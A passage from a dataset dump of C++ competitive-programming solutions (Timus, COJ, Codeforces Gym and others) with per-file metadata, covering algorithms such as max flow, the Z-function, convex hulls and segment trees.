j++)\r\n\t\t\t\tif(G[i][k]>0.0 && G[k][j]>0.0)\r\n {\r\n if(G[i][j]>0.0)\r\n G[i][j]=G[j][i]=min(G[i][j],G[i][k]+G[k][j]);\r\n else G[i][j]=G[i][k]+G[k][j];\r\n }\r\n\r\n\tprintf(\"%.2lf\\n\",G[s][t]);\r\n}\r\n" }, { "alpha_fraction": 0.42082738876342773, "alphanum_fraction": 0.4507845938205719, "avg_line_length": 17.027027130126953, "blob_id": "ec6e85abcaa1702a9f6ac9fe7e07fd1b9987deab", "content_id": "f07fa1d06aed2996916a33493202bbf64f95b79a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 701, "license_type": "no_license", "max_line_length": 40, "num_lines": 37, "path": "/Timus/1180-7252521.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1180\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nvoid check(int base, int limit) {\r\n\tvector <int> grundy(limit + 1);\r\n\tvector <int> used(limit + 1, -1);\r\n\tfor (int i = 0; i <= limit; i++) {\r\n\t\tfor (int j = 1; j <= i; j *= base) {\r\n\t\t\tused[grundy[i - j]] = i;\r\n\t\t}\r\n\t\tgrundy[i] = 0;\r\n\t\twhile (used[grundy[i]] == i) {\r\n\t\t\tgrundy[i]++;\r\n\t\t}\r\n\t\tcout << i << \" \" << grundy[i] << \"\\n\";\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tstring s;\r\n\tcin >> s;\r\n\tint r = 0;\r\n\tfor (int i = 0; i < s.size(); i++) {\r\n\t\tr = (10 * r + (s[i] - '0')) % 3;\r\n\t}\r\n\tif (r == 0) {\r\n\t\tcout << \"2\\n\";\r\n\t} else {\r\n\t\tcout << \"1\\n\" << r << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34294870495796204, "alphanum_fraction": 0.35576921701431274, "avg_line_length": 14.600000381469727, "blob_id": "c99e99578d0aa477404e552714f2cb00e6b73b98", "content_id": "b7121beeea980266191fdd746f33a18ed0ba543e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 624, "license_type": "no_license", "max_line_length": 43, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p3719-Accepted-s1310780.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n int n;\n cin >> n;\n\n vector <int> v(n);\n for (auto & x : v) {\n cin >> x;\n }\n\n vector <long long> s(1 << n);\n for (int i = 0; i < n; i++) {\n s[1 << i] = v[i];\n }\n\n for (int m = 1; m < (1 << n); m++) {\n s[m] = s[m ^ (m & -m)] + s[m & -m];\n }\n\n unordered_map <long long, int> f;\n for (int m = 1; m < (1 << n); m++) {\n f[s[m]]++;\n }\n\n int q;\n cin >> q;\n\n while (q--) {\n int x;\n cin >> x;\n\n cout << f[x] << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.26821404695510864, "alphanum_fraction": 0.283687949180603, "avg_line_length": 19.14285659790039, "blob_id": "dcc68742d56f9f3b9ad18fccce4a87921be28f45", "content_id": "0e350dda3faf4f25c36e2a7e3efd0ad01df52069", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1551, "license_type": "no_license", "max_line_length": 83, "num_lines": 77, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1000 * 1000 + 10;\n\nint sieve[N];\nint primes[N];\nint cp;\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n for (int i = 2; i * i < N; i++) {\n if (!sieve[i]) {\n for (int j = i * i; j < N; j += i) {\n if (!sieve[j]) {\n sieve[j] = i;\n }\n }\n }\n }\n\n cp = 0;\n\n for (int i = 2; i < N; i++) {\n if (!sieve[i]) {\n sieve[i] = i;\n primes[cp++] = i;\n }\n }\n\n int t;\n cin >> t;\n\n while (t--) {\n int n;\n cin >> n;\n\n long long nn = n;\n\n long long ans = 0;\n\n if (n < N) {\n while (n > 1) {\n int p = sieve[n];\n int e = 0;\n while (n > 1 && sieve[n] == p) {\n e++;\n n /= p;\n }\n ans += (long long)(nn / p) * e;\n }\n } else {\n for (int i = 0; i < cp && (long long)primes[i] * primes[i] <= n; i++) {\n if (n % primes[i] == 0) {\n int e = 0;\n while (n % primes[i] == 0) {\n e++;\n n /= primes[i];\n }\n ans += (long long)(nn / primes[i]) * e;\n }\n }\n if (n > 1) {\n ans += (long long)(nn / n);\n }\n }\n\n cout << ans << \"\\n\";\n }\n\n}\n" }, { "alpha_fraction": 0.35872235894203186, "alphanum_fraction": 0.39557740092277527, "avg_line_length": 14.958333015441895, "blob_id": "510451274978fd1f36ffc32c4b24dbe7b8775454", "content_id": "9e63b1222b6de75875027e89878da0d9e94848b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 407, "license_type": "no_license", "max_line_length": 50, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3617-Accepted-s940085.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstring s;\r\nint pi[1000005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> s;\r\n\tint n = s.size();\r\n\tfor (int i = 1, j = 0; i < n; i++) {\r\n\t\twhile (j > 0 && s[i] != s[j]) {\r\n\t\t\tj = pi[j - 1];\r\n\t\t}\r\n\t\tif (s[i] == s[j]) {\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tpi[i] = j;\r\n\t}\r\n\tint d = n - pi[n - 1];\r\n\tcout << ((d != n && n % d == 0) ? d : 0) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3976377844810486, "alphanum_fraction": 0.4133858382701874, "avg_line_length": 14.933333396911621, "blob_id": "1d16891f5f7259384ed1254a456d77b4953185fe", "content_id": "f24e01321037c1f9bb8a338e92c22b974c612bb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 254, "license_type": "no_license", "max_line_length": 43, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2362-Accepted-s468152.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<iostream>\r\nusing namespace std;\r\n\r\nint n;\r\nlong long m;\r\n\r\nint main(){\r\n scanf(\"%d\",&n);\r\n while(n--){\r\n scanf(\"%d\",&m);\r\n cout << 2*m*(m-1)+1 << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.39222222566604614, "alphanum_fraction": 0.4122222363948822, "avg_line_length": 23.324323654174805, "blob_id": "c90bd2382b424fefec175d9559518e45d8eb775e", "content_id": "baeba34b076adacf9c38bab173641bff0ecdf778", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 900, "license_type": "no_license", "max_line_length": 78, "num_lines": 37, "path": "/TOJ/3255.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\n// Name : Contest2.cpp\n// Author : sUrPRise\n// Version :\n// Copyright : Your copyright notice\n// Description : Hello World in C++, Ansi-style\n//============================================================================\n#include <bits/stdc++.h>\n\n\nusing namespace std;\n\n\nint z[1000005];\n\nvoid z_function(string &s){\n\tfor(int i=0;i<=s.size();i++) z[i]=0;\n\tint L=0,R=0,n = s.length();\n\tfor(int i=1;i<n;i++){\n\t\tif(i<=R) z[i] = min(z[i-L], R-i+1);\n\t\twhile(i+z[i] < n && s[ i+z[i] ] == s[ z[i] ]) z[i]++;\n\t\tif(i+z[i]-1 > R) L = i, R = i+z[i]-1;\n\t}\n}\n\nint main(){ //freopen(\"dat.txt\", \"r\", stdin);\n\tstring p,s;\n\tint tc; cin >> tc;\n\twhile(tc--){\n\t\tcin >> p >> s;\n\t\ts = p + '#' + s;\n\t\tz_function(s);\n\t\tlong long ans = 0;\n\t\tfor(int i=p.size()+1;i+p.size()<=s.size();i++) ans += z[i];\n\t\tcout << ans << '\\n';\n\t}\n}\n" }, { "alpha_fraction": 0.2853127121925354, "alphanum_fraction": 0.347153902053833, "avg_line_length": 18.328571319580078, "blob_id": "0243dbb312727265efc5ad7bb7b563f6fe3bd767", "content_id": "fe734724a506233de3e87af5fdd2a89ac6509238", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1423, "license_type": "no_license", "max_line_length": 74, "num_lines": 70, "path": "/COJ/eliogovea-cojAC/eliogovea-p2697-Accepted-s569775.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\nusing namespace std;\r\n\r\nconst int pos[12][2] = { { 0, 4 }, { 1, 1 }, { 1, 3 }, { 1, 5 }, { 1, 7 },\r\n\t\t\t\t\t\t { 2, 2 }, { 2, 6 }, { 3, 1 }, { 3, 3 }, { 3, 5 },\r\n\t\t\t\t\t\t { 3, 7 }, { 4, 4 } };\r\n\r\nchar in[15][15];\r\nint b[15];\r\nbool mark[15],ok = false;\r\n\r\nvoid f( int c )\r\n{\r\n //cout << c << endl;\r\n //for( int i = 0; i < 5; i++ ) cout << in[i] << endl;\r\n //cout << endl;\r\n //system( \"pause\" );\r\n\r\n\tif( ok ) return;\r\n\r\n\tif( c == 12 )\r\n\t{\r\n\t\tint u,v;\r\n\t\tu = b[0] + b[2] + b[5] + b[7];\r\n\t\tv = b[0] + b[3] + b[6] + b[10];\r\n\t\tif( u != v ) return;\r\n\t\tv = b[1] + b[2] + b[3] + b[4];\r\n\t\tif( u != v ) return;\r\n\t\tv = b[7] + b[8] + b[9] + b[10];\r\n\t\tif( u != v ) return;\r\n\t\tv = b[1] + b[5] + b[8] + b[11];\r\n\t\tif( u != v ) return;\r\n\t\tv = b[4] + b[6] + b[9] + b[11];\r\n\t\tif( u != v ) return;\r\n\r\n\t\tfor( int i = 0; i < 5; i++ ) printf( \"%s\\n\", in[i] );\r\n\t\tok = true;\r\n\t\treturn;\r\n\t}\r\n\r\n\tif( in[pos[c][0]][pos[c][1]] != 'x' )\r\n\t\tf( c + 1 );\r\n\r\n\telse for( char ch = 'A'; ch <= 'L'; ch++ )\r\n\t\t\tif( !mark[ch - 'A'] )\r\n\t\t\t{\r\n\t\t\t\tmark[ch - 'A'] = 1;\r\n\t\t\t\tin[pos[c][0]][pos[c][1]] = ch;\r\n\t\t\t\tb[c] = ch;\r\n\t\t\t\tf( c + 1 );\r\n\t\t\t\tin[pos[c][0]][pos[c][1]] = 'x';\r\n\t\t\t\tmark[ch - 'A'] = 0;\r\n\t\t\t}\r\n\r\n}\r\n\r\nint main()\r\n{\r\n\tfor( int i = 0; i < 5; i++ ) scanf( \"%s\", in[i] );\r\n\tfor( int i = 0; i < 12; i++ )\r\n\t{\r\n\t\tchar ch = in[pos[i][0]][pos[i][1]];\r\n\t\tif( ch != 'x' )\r\n\t\t{\r\n\t\t\tb[i] = ch;\r\n\t\t\tmark[ch - 'A'] = 1;\r\n\t\t}\r\n\t}\r\n\tf( 0 );\r\n}\r\n" }, { "alpha_fraction": 0.3156462609767914, "alphanum_fraction": 0.3523809611797333, "avg_line_length": 14.704545021057129, "blob_id": "74e56921e6ad23f36dc63c0b5e71a4acc3edd0cf", "content_id": "fe8aba01d80f4854d6cb5afd4e076c821e390d99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 735, "license_type": "no_license", "max_line_length": 34, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p3632-Accepted-s1009553.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nint a[100005];\r\nint f[12][100005];\r\nint q, l, r;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> n) {\r\n\t\tfor (int i = 0; i <= 9; i++) {\r\n\t\t\tfor (int j = 0; j <= n; j++) {\r\n\t\t\t\tf[i][j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tfor (int j = 0; j <= 9; j++) {\r\n\t\t\t\tf[j][i] = f[j][i - 1];\r\n\t\t\t\tif (j == a[i]) {\r\n\t\t\t\t\tf[j][i]++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> q;\r\n\t\twhile (q--) {\r\n\t\t\tcin >> l >> r;\r\n\t\t\tif (l > r) {\r\n\t\t\t\tswap(l, r);\r\n\t\t\t}\r\n\t\t\tint ans = 0;\r\n\t\t\tfor (int i = 0; i <= 9; i++) {\r\n\t\t\t\tif (f[i][r] > f[i][l - 1]) {\r\n\t\t\t\t\tans++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << ans << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35082873702049255, "alphanum_fraction": 0.41988950967788696, "avg_line_length": 16.100000381469727, "blob_id": "a9c261a647640e1b9cdb15a4c2f8751ea379eacb", "content_id": "b7c5e2af968fd3bd1926338cb2290b527b225beb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 362, "license_type": "no_license", "max_line_length": 52, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2260-Accepted-s505489.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nconst int MOD = 1000000007;\r\nint t,n;\r\nlong long dp[1001];\r\n\r\nint main()\r\n{\r\n dp[0]=dp[1]=1;\r\n for(int i=2; i<=1000; i++)\r\n for(int j=0; j<i; j++)\r\n dp[i]=(dp[i]+(dp[j]*dp[i-1-j])%MOD)%MOD;\r\n scanf(\"%d\",&t);\r\n while(t--)\r\n {\r\n scanf(\"%d\",&n);\r\n printf(\"%lld\\n\",dp[n]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4473963975906372, "alphanum_fraction": 0.47644349932670593, "avg_line_length": 19.757352828979492, "blob_id": "3312f6ff8a0049a61489e33e71803e1ad7c3fe75", "content_id": "25431eb19a8be0f739bc472e538ba782f223c424", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2823, "license_type": "no_license", "max_line_length": 117, "num_lines": 136, "path": "/Codeforces-Gym/100526 - 2014 Benelux Algorithm Programming Contest (BAPC 14), 2014-2015 CT S02E08: Codeforces Trainings Season 2 Episode 8/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 Benelux Algorithm Programming Contest (BAPC 14), 2014-2015 CT S02E08: Codeforces Trainings Season 2 Episode 8\n// 100526C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ninline int sign(long long x) {\n\tif (x < 0) {\n\t\treturn -1;\n\t}\n\tif (x > 0) {\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nstruct pt {\n\tint x, y;\n\tpt() {}\n\tpt(int _x, int _y) : x(_x), y(_y) {}\n};\n\nbool operator < (const pt &a, const pt &b) {\n\tif (a.y != b.y) {\n\t\treturn a.y < b.y;\n\t}\n\treturn a.x < b.x;\n}\n\npt operator - (const pt &a, const pt &b) {\n\treturn pt(a.x - b.x, a.y - b.y);\n}\n\ninline long long cross(const pt &a, const pt &b) {\n\treturn (long long)a.x * b.y - (long long)a.y * b.x;\n}\n\ninline long long norm2(const pt &a) {\n\treturn (long long)a.x * a.x + (long long)a.y * a.y;\n}\n\n\nstruct compareByAngle {\n\tpt O;\n\tcompareByAngle() {\n\t\tO = pt(0, 0);\n\t}\n\tcompareByAngle(pt _O) {\n\t\tO = _O;\n\t}\n\tbool operator () (const pt &a, const pt &b) {\n\t\tint c = sign(cross(a - O, b - O));\n\t\tif (c != 0) {\n\t\t\treturn (c > 0);\n\t\t}\n\t\treturn norm2(a - O) < norm2(b - O);\n\t}\n};\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n;\n\t\tcin >> n;\n\t\tvector <pt> pts(n);\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> pts[i].x >> pts[i].y;\n\t\t}\n\t\tsort(pts.begin(), pts.end());\n\t\tsort(++pts.begin(), pts.end(), compareByAngle(pts[0]));\n\t\tvector <pt> ch;\n\t\tch.reserve(2 * n);\n\t\tch.push_back(pts[0]);\n\t\tch.push_back(pts[1]);\n\t\tfor (int i = 2; i < n; i++) {\n\t\t\twhile (true) {\n\t\t\t\tpt a = ch[ch.size() - 2];\n\t\t\t\tpt b = ch[ch.size() - 1];\n\t\t\t\tif (sign(cross(b - a, pts[i] - a)) >= 0) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tch.pop_back();\n\t\t\t}\n\t\t\tch.push_back(pts[i]);\n\t\t}\n\t\tlong long ans = 0;\n\t\tfor (int i = 0; i < ch.size(); i++) {\n\t\t\tfor (int j = i + 1; j < ch.size(); j++) {\n\t\t\t\tint pos1 = i;\n\t\t\t\t{\n\t\t\t\t\tint lo = i + 1;\n\t\t\t\t\tint hi = j;\n\t\t\t\t\twhile (lo <= hi) {\n\t\t\t\t\t\tint mid = (lo + hi) >> 1;\n\t\t\t\t\t\tlong long area1 = abs(cross(ch[j] - ch[i], ch[mid] - ch[i]));\n\t\t\t\t\t\tlong long area2 = abs(cross(ch[j] - ch[i], ch[mid - 1] - ch[i]));\n\t\t\t\t\t\tif (area1 >= area2) {\n\t\t\t\t\t\t\tpos1 = mid;\n\t\t\t\t\t\t\tlo = mid + 1;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\thi = mid - 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tint pos2 = j;\n\t\t\t\t{\n\t\t\t\t\tint lo = j + 1;\n\t\t\t\t\tint hi = i + ch.size();\n\t\t\t\t\twhile (lo <= hi) {\n\t\t\t\t\t\tint mid = (lo + hi) >> 1;\n\t\t\t\t\t\tlong long area1 = abs(cross(ch[i] - ch[j], ch[mid % ch.size()] - ch[j]));\n\t\t\t\t\t\tlong long area2 = abs(cross(ch[i] - ch[j], ch[(mid - 1 + ch.size()) % ch.size()] - ch[j]));\n\t\t\t\t\t\tif (area1 >= area2) {\n\t\t\t\t\t\t\tpos2 = mid;\n\t\t\t\t\t\t\tlo = mid + 1;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\thi = mid - 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlong long area1 = abs(cross(ch[j] - ch[i], ch[pos1] - ch[i]));\n\t\t\t\tlong long area2 = abs(cross(ch[i] - ch[j], ch[pos2 % ch.size()] - ch[j]));\n\t\t\t\tans = max(ans, area1 + area2);\n\t\t\t}\n\t\t}\n\t\tcout << ans / 2LL;\n\t\tif (ans & 1LL) {\n\t\t\tcout << \".5\";\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.35890835523605347, "alphanum_fraction": 0.37916237115859985, "avg_line_length": 20.30711555480957, "blob_id": "150f2ed5d867ae7195b21d118978bb41d23e804e", "content_id": "9e00e3379844f5086e406c52a2851e6e5e0c24da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5826, "license_type": "no_license", "max_line_length": 119, "num_lines": 267, "path": "/Caribbean-Training-Camp-2017/Contest_1/Solutions/E1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int oo = 1000000007;\n\ntypedef pair<int,int> par;\n\nstruct task{\n int x, y, p, id;\n\n task(){}\n task( int x, int y, int p, int id ){\n this->x = x;\n this->y = y;\n this->p = p;\r\n this->id = id;\n }\n\n bool operator < ( const task &o ) const {\n if( x != o.x ){\r\n return ( x < o.x );\r\n }\r\n\r\n if( y != o.y ){\r\n return y > o.y;\r\n }\r\n\r\n return p < o.p;\n }\n};\n\r\nbool cmpX( const task &a, const task &b ){\r\n return a.x < b.x;\r\n}\r\n\r\nbool cmpY( const task &a, const task &b ){\r\n return a.y < b.y;\r\n}\r\n\nstruct st{\n int n;\n vector<task> mx;\n\n st(){}\n\n st( int n ){\n this->n = n;\n mx.resize(4*n+4);\n }\n\n void build_st( int nod, int l, int r, vector<task> &vs ){\n if( l == r ){\n this->mx[nod] = vs[l];\n return;\n }\n\n int ls = nod * 2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n build_st( ls , l , mid , vs );\n build_st( rs , mid+1 , r , vs );\n\n this->mx[nod] = max( this->mx[ls] , this->mx[rs] );\n }\n\n task get_max( int nod, int l, int r, int lq, int rq ){\n if( l > rq || r < lq ){\n return task( -1 , oo , -1 , 0 );\n }\n\n if( lq <= l && r <= rq ){\n return this->mx[nod];\n }\n\n int ls = nod*2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n return max( get_max( ls , l , mid , lq , rq ) ,\n get_max( rs , mid+1 , r , lq , rq ) );\n }\n};\n\n\nconst int MAXN = 300100;\n\ntask tasks[MAXN];\n\nst ST[4*MAXN];\nint mn_X[4*MAXN];\nint mx_X[4*MAXN];\nvector<task> r_id[4*MAXN];\n\nvoid build_st( int nod, int l, int r ){\n mn_X[nod] = tasks[l].x;\n mx_X[nod] = tasks[r].x;\n r_id[nod].resize( r - l + 1 );\n ST[nod] = st( r - l + 1 );\n\n if( l == r ){\n r_id[nod][0] = tasks[l];\n ST[nod].build_st( 1 , 0 , r - l , r_id[nod] );\n return;\n }\n\n int ls = nod * 2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n build_st( ls , l , mid );\n build_st( rs , mid+1 , r );\n\n merge( r_id[ls].begin() , r_id[ls].end() , r_id[rs].begin() , r_id[rs].end() , r_id[nod].begin() , cmpY );\n ST[nod].build_st( 1 , 0 , r - l , r_id[nod] );\n}\n\ntask query_st( int nod, int l, int r, int x1, int x2, int y1, int y2 ){\n if( mn_X[nod] > x2 || mx_X[nod] < x1 ){\n return task( -1 , oo , -1 , 0 );\n }\n\n if( x1 <= mn_X[nod] && mx_X[nod] <= x2 ){\n int a = lower_bound( r_id[nod].begin() , r_id[nod].end(), task( 0, y1 , 0 , 0 ) , cmpY ) - r_id[nod].begin();\n int b = lower_bound( r_id[nod].begin() , r_id[nod].end(), task( 0, y2+1 , 0 , 0 ) , cmpY ) - r_id[nod].begin();\n b--;\n\n if( a > b ){\n return task( -1 , oo , -1 , 0 );\n }\n\n return ST[nod].get_max( 1 , 0 , r - l , a , b );\n }\n\n int ls = nod * 2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n return max( query_st( ls , l , mid , x1 , x2 , y1 , y2 ) ,\n query_st( rs , mid+1 , r , x1 , x2 , y1 , y2 ) );\n}\n\r\nbool cmpX2( const task &a, const task &b ){\r\n if( a.x != b.x ){\r\n return a.x < b.x;\r\n }\r\n\r\n return a.y > b.y;\r\n}\r\n\r\nbool cmpY2( const task &a, const task &b ){\r\n if( a.y != b.y ){\r\n return a.y < b.y;\r\n }\r\n\r\n return a.x > b.x;\r\n}\r\n\r\nint X[MAXN];\r\nint Y[MAXN];\r\nint P[MAXN];\r\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\r\n for( int i = 1; i <= n; i++ ){\r\n cin >> tasks[i].x >> tasks[i].y >> tasks[i].p;\r\n tasks[i].id = i;\r\n }\r\n\r\n sort( tasks + 1 , tasks + 1 + n , cmpX2 );\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n tasks[i].x = i;\r\n }\n\r\n sort( tasks + 1 , tasks + 1 + n , cmpY2 );\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n tasks[i].y = i;\r\n }\r\n\r\n sort( tasks + 1 , tasks + 1 + n , cmpX );\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n X[ tasks[i].id ] = tasks[i].x;\r\n Y[ tasks[i].id ] = tasks[i].y;\r\n P[ tasks[i].id ] = tasks[i].p;\r\n\r\n //cerr << \"id = \" << tasks[i].id << \" ----> x = \" << tasks[i].x << \" y = \" << tasks[i].y << '\\n';\r\n }\r\n\r\n build_st( 1 , 1 , n );\r\n\r\n priority_queue<par> pq;\r\n set<par> g;\r\n\r\n int x = oo, y = 0;\r\n while( true ){\r\n task t = query_st( 1 , 1 , n , 0 , x , y , oo );\r\n //cerr << \"zxcxzcxzc\" << endl;\r\n\r\n if( t.id == 0 ){\r\n break;\r\n }\r\n\r\n pq.push( par( t.p , t.id ) );\r\n g.insert( par( t.x , t.id ) );\r\n\r\n x = t.x-1;\r\n y = t.y+1;\r\n }\r\n\r\n vector<int> sol;\r\n\r\n //cerr << \"pqs.size = \" << pq.size() << '\\n';\r\n //cerr << \"pq.top = \" << pq.top().second << '\\n';\r\n\r\n while( !pq.empty() ){\r\n par tmp = pq.top(); pq.pop();\r\n int id = tmp.second;\r\n\r\n sol.push_back( id );\r\n\r\n int xl = 0;\r\n\r\n set<par>::iterator it = g.find( par( X[id] , id ) );\r\n\r\n if( it != g.begin() ){\r\n it--;\r\n xl = it->first;\r\n it++;\r\n }\r\n\r\n int yl = 0;\r\n ++it;\r\n if( it != g.end() ){\r\n yl = Y[ it->second ];\r\n }\r\n it--;\r\n\r\n g.erase(it);\r\n\r\n int xr = X[id]-1;\r\n int yr = Y[id]-1;\r\n\r\n //cerr << \"xl = \" << xl << \" xr = \" << xr << \" yl = \" << yl << \" yr = \" << yr << '\\n';\r\n task t = query_st( 1 , 1 , n , xl , xr , yl , yr );\r\n\r\n //cerr << \"next.id = \" << t.id << '\\n';\r\n\r\n while( t.id ){\r\n pq.push( par( t.p , t.id ) );\r\n g.insert( par( t.x , t.id ) );\r\n\r\n xr = t.x-1;\r\n yl = t.y+1;\r\n\r\n t = query_st( 1 , 1 , n , xl , xr , yl , yr );\r\n }\r\n }\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n cout << sol[i-1] << \" \\n\"[i==n];\r\n }\r\n}\n" }, { "alpha_fraction": 0.3971014618873596, "alphanum_fraction": 0.426086962223053, "avg_line_length": 21.630136489868164, "blob_id": "572819603df5302286f6f7f47c4b3e131455d873", "content_id": "21e1a5fbd8afb8a58943e29805a73ad93867792f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1725, "license_type": "no_license", "max_line_length": 79, "num_lines": 73, "path": "/COJ/eliogovea-cojAC/eliogovea-p1644-Accepted-s635284.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <fstream>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1005, MAXM = 200100;\r\n\r\nint n, m, k;\r\nint ady[MAXM], cap[MAXM], flow[MAXM], next[MAXM], last[MAXN], E, now[MAXN];\r\nint s, t, lev[MAXN];\r\nint Q[MAXN + 5], qh, qt;\r\n\r\nbool bfs() {\r\n for (int i = 0; i <= n; i++)\r\n lev[i] = 0;\r\n\tlev[0] = 1;\r\n\tqh = qt = 0;\r\n\tQ[qt++] = 0;\r\n\tint u;\r\n\twhile (qt > qh) {\r\n\t\tu = Q[qh++];\r\n\t\tfor (int e = last[u]; e != -1; e = next[e])\r\n\t\t\tif (cap[e] > flow[e] && !lev[ady[e]]) {\r\n\t\t\t\tlev[ady[e]] = lev[u] + 1;\r\n\t\t\t\tQ[qt++] = ady[e];\r\n\t\t\t}\r\n\t}\r\n\treturn lev[n];\r\n}\r\n\r\nint dfs(int u, int cur) {\r\n\tif (u == n) return cur;\r\n\tfor (int e = now[u], r; e != -1; e = now[u] = next[e])\r\n\t\tif (cap[e] > flow[e] && lev[ady[e]] == lev[u] + 1) {\r\n\t\t\tr = dfs(ady[e], min(cur, cap[e] - flow[e]));\r\n\t\t\tif (r > 0) {\r\n\t\t\t\tflow[e] += r;\r\n\t\t\t\tflow[e ^ 1] -= r;\r\n\t\t\t\treturn r;\r\n\t\t\t}\r\n\t\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxFlow() {\r\n\tint tot = 0, f;\r\n\twhile (bfs()) {\r\n\t\tfor (int i = 0; i <= n; i++)\r\n\t\t\tnow[i] = last[i];\r\n\t\twhile ((f = dfs(0, 1 << 29)) > 0) tot += f;\r\n\t}\r\n\treturn tot;\r\n}\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\twhile (scanf(\"%d%d%d\", &n, &m, &k) == 3) {\r\n\t\tE = 0;\r\n\t\tfor (int i = 0; i <= n; i++)\r\n\t\t\tlast[i] = -1;\r\n\t\tfor (int i = 0, x; i < k; i++) {\r\n\t\t\tscanf(\"%d\", &x);\r\n\t\t\tady[E] = x; cap[E] = 1 << 29; flow[E] = 0; next[E] = last[0]; last[0] = E++;\r\n\t\t\tady[E] = 0; cap[E] = 0; flow[E] = 0; 